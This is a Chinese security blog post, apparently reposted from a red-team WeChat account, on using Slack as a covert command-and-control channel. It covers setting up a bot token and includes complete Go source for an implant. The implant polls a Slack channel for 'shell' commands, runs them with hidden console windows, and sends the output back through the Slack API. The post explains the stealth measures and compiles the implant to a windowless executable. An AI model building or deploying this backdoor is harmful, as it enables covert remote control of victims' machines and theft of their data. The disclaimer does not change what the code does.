使用合法WEB服务平台作为C2通道

admin 2024年11月13日23:23:16评论33 views字数 5181阅读17分16秒阅读模式

前言

攻击者可以通过合法Web服务通道向受控主机发送控制命令和接收指令返回,这也是APT组织常用的攻击手法攻击者一般会利用流行的网站和社交媒体来托管C2指令受控主机可以通过该Web服务通道将这些命令的输出发回控制指令的下达和数据回传可能以多种方式发生,例如,攻击者下达控制指令的方式可能是在论坛上发表评论、更新 Web 服务上托管的文档或发送推文

作为C2通道的流行网站和社交媒体可能会提供大量的掩护,因为网络中的主机可能在受控之前已经与它们通信。使用谷歌或推特提供的通用服务,可以让恶意程序更容易隐藏。Web服务提供商通常使用SSL/TLS加密,为攻击者提供额外的流量保护。下面介绍如何使用合法消息平台Slack作为C2通道。

环境搭建

访问Slack官网:https://slack.com/,注册账号,创建一个工作区。

使用合法WEB服务平台作为C2通道

接下来创建一个机器人(应用程序),后面需要利用机器人tokenapi接口,通过机器人来向终端下发指令和传输到Slack界面。

使用合法WEB服务平台作为C2通道

给机器人起个名,工作区选择刚刚新建的,然后创建应用程序。

使用合法WEB服务平台作为C2通道

随后会跳转到一个页面,在左侧列表中选择OAuth & Permission。

使用合法WEB服务平台作为C2通道

需要记住下面这个token,这是终端与Slack服务端交互的凭证。

使用合法WEB服务平台作为C2通道

设置机器人的功能范围,实现简单的cmdshell控制只需要读取历史聊天记录和发送消息的权限即可。后面有其他要用的功能可以再加。

使用合法WEB服务平台作为C2通道

然后回到token那个地方,点安装到工作区(install to workspace),到下面的界面,点允许。

使用合法WEB服务平台作为C2通道

然后会跳转到一个频道界面,发送 /invite @机器人名,将刚刚创建的机器人(应用程序)加入到频道。

使用合法WEB服务平台作为C2通道

这个频道的ID也需要记住,是URL最后的字符串。

使用合法WEB服务平台作为C2通道

实现思路

在频道中输入控制指令,使用获取历史记录的接口从特定频道拉取指令,由于机器人在频道中,使用机器人token作为认证即可。控制指令的消息可以使用shell前缀标识这是控制指令,也可以加一些退出客户端的指令例如exit等。

客户端进行字符串处理后获取到控制指令进行执行,然后调用发送消息的接口,通过机器人token上传命令执行的输出,让机器人将控制指令的输出反馈在频道对话框中。

首先测试一下接口获取历史消息是否正常。在频道随便发送一条消息。

使用合法WEB服务平台作为C2通道

Slack可供机器人使用的所有apihttps://api.slack.com/methods

进入获取聊天记录的api的测试页面测试下获取聊天记录

https://api.slack.com/methods/conversations.history/test

配置好token和频道IDtest之后可以成功获取到聊天记录

使用合法WEB服务平台作为C2通道

由于要实现交互,客户端需要不断拉取最新的指令,所以还需要实现每多长时间请求一次数据,类似于CSBeacon睡眠间隔。

实现思路大致是这样,接下来就是编写客户端代码。(实际测试时换了个频道和机器人)

一些问题的解决

1、输出返回中文乱码问题

在实际测试过程中,遇到了一个问题,如果控制指令输出的字符串中含有中文,在Slack频道中会显示乱码,如下所示:

使用合法WEB服务平台作为C2通道

本来我以为是http传输的问题,试了一些编码之后发现除了换了种乱码没有任何效果,由于是使用exec.Command()进行控制指令执行,在它的输出位置下断点,发现该函数的输出就已经是乱码,这个函数无法正常的输出中文。

使用合法WEB服务平台作为C2通道

百度发现使用text即可解决。执行指令:go get golang.org/x/text下载。代码中引入"golang.org/x/text/encoding/simplifiedchinese",然后在结果输出时转换字符集即可。

使用合法WEB服务平台作为C2通道

效果如下:

使用合法WEB服务平台作为C2通道

2、调用子进程窗口隐藏问题

虽然可以通过设置编译参数将客户端程序执行时的控制台窗口隐藏,但是程序调用的子进程仍然会弹出窗口,隐蔽性不佳,如下所示:

使用合法WEB服务平台作为C2通道

要解决该问题,需要在获取exec.Command()执行命令输出之前加入如下代码,来隐藏调用的子进程的控制台窗口:

cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

使用合法WEB服务平台作为C2通道

经测试不会再弹出调用的子进程控制台窗口。

3、重复获取历史指令问题

在获取历史指令时,由于一开始是直接获取全部的历史聊天记录,这就导致每次客户端向api请求数据时都会将历史执行过的指令再请求一遍,要解决这个问题,有两种思路。

第一种,根据官方文档,可以在api请求中设置一个"limit"参数,将其设置为1,意为指获取最近的1条历史指令,这样就可以避免重复执行历史指令。

使用合法WEB服务平台作为C2通道

第二种,在处理返回的json数据时,只取其中的第一个对象里的text值,也就是最近的那条历史聊天记录数据进行指令提取。

使用合法WEB服务平台作为C2通道

效果测试

shell+cmd指令,中文正常输出:

使用合法WEB服务平台作为C2通道

exit指令退出程序:

使用合法WEB服务平台作为C2通道

go文件编译成无控制台窗口的exe文件:

使用合法WEB服务平台作为C2通道

双击exe后程序无输出窗口隐蔽运行,可以正常执行指令:

使用合法WEB服务平台作为C2通道

这只是一个最简单的cmdshell实现,还有很多api接口,可以自行实现更多功能。

实现代码(Golang)

package main

import (

  "bytes"

  "encoding/json"

  "fmt"

  "io"

  "net/http"

  "net/url"

  "os"

  "os/exec"

  "strconv"

  "strings"

  "syscall"

  "time"

  "github.com/tidwall/gjson"

  "golang.org/x/text/encoding/simplifiedchinese"

)

const (

  HistoryApi    = "https://slack.com/api/conversations.history"

  PostMessage   = "https://slack.com/api/chat.postMessage"

  FileUpload    = "https://slack.com/api/files.upload"

  Authorization = "Bearer xoxb-xxx"

  Channel       = "频道ID"

)

//每10s请求一次

var Timer = 10

func sleep() {

  fmt.Sprintf("sleep %s", Timer)

  time.Sleep(time.Duration(Timer) * time.Second)

}

func main() {

  for true {

      result := GetCommandFromApi(HistoryApi, "messages.0.text")

      if strings.HasPrefix(result.Str, "shell") {

          cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])

          SendShellResult(cmdRes)

      } else if strings.HasPrefix(result.Str, "exit") {

          os.Exit(0)

      } else if strings.HasPrefix(result.Str, "sleep") {

          s := strings.Split(result.Str, " ")[1]

          atoi, err := strconv.Atoi(s)

          if err != nil {

              SendShellResult(err.Error())

          }

          Timer = atoi

      } else {

          fmt.Println("no command")

      }

      sleep()

  }}

func ExecCommand(command []string) (out string) {

  fmt.Println(command)

  cmd := exec.Command(command[0], command[1:]...)

  // 隐藏子进程窗口,避免执行指令时客户端弹出黑框

  cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

  o, err := cmd.CombinedOutput()

  // 转换字符集,解决UTF-8乱码

  output, err := simplifiedchinese.GB18030.NewDecoder().String(string(o))

  if err != nil {

      out = fmt.Sprintf("指令执行错误: n%sn", err)

  } else {

      out = fmt.Sprintf("指令输出结果:n%sn", string(output))

  }

  return

}

func GetCommandFromApi(apiUrl string, rule string) gjson.Result {

  token := Authorization

  channelID := Channel

  // 调用函数时传入要用的apiUrl,请求对应的api

  r, err := http.NewRequest("GET", apiUrl, nil)

  if err != nil {

      fmt.Println("创建请求失败:", err)

      return gjson.Result{}

  }

  // 设置authorization header为Slack机器人Token

  r.Header.Set("Authorization", token)

  // 设置请求参数

  q := r.URL.Query()

  // 设置Slack频道

  q.Add("channel", channelID)

  // 每次只获取最近的一条历史记录,避免重复执行历史指令

  q.Add("limit", "1")

  r.URL.RawQuery = q.Encode()

  // 发送请求获取响应包

  client := &http.Client{}

  resp, err := client.Do(r)

  if err != nil {

      fmt.Println("发送请求失败:", err)

      return gjson.Result{}

  }

  defer resp.Body.Close()

  bytes, err := io.ReadAll(resp.Body)

  //fmt.Println(string(bytes))

  return gjson.GetBytes(bytes, rule)

}

func SendShellResult(text2 string) {

  // 设置token、频道和要发送的内容,发送内容通过参数传入

  token := Authorization

  message := text2

  channelID := Channel

  // 构建JSON数据

  jsonData := map[string]string{

      "text":    message,

      "channel": channelID,

  }

  // 将JSON数据编码为url.Values格式的数据

  values := url.Values{}

  for k, v := range jsonData {

      values.Add(k, v)

  }

  // 发送HTTP POST请求

  client := &http.Client{}

  req, err := http.NewRequest("POST", PostMessage, bytes.NewBufferString(values.Encode()))

  if err != nil {

      fmt.Println("发送消息失败:", err)

      return

  }

  req.Header.Add("Content-Type", "application/x-www-form-urlencoded")

  req.Header.Add("Authorization", token)

  // 处理响应

  resp, err := client.Do(req)

  if err != nil {

      fmt.Println("发送消息失败:", err)

      return

  }

  defer resp.Body.Close()

  // 读取响应内容

  respData := make(map[string]interface{})

  if err := json.NewDecoder(resp.Body).Decode(&respData); err != nil {

      fmt.Println("读取响应失败:", err)

      return

  }}

参考文章

https://www.chabug.org/web/1926

原文始发于微信公众号(红蓝攻防研究实验室):使用合法WEB服务平台作为C2通道

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日23:23:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用合法WEB服务平台作为C2通道https://cn-sec.com/archives/1942937.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息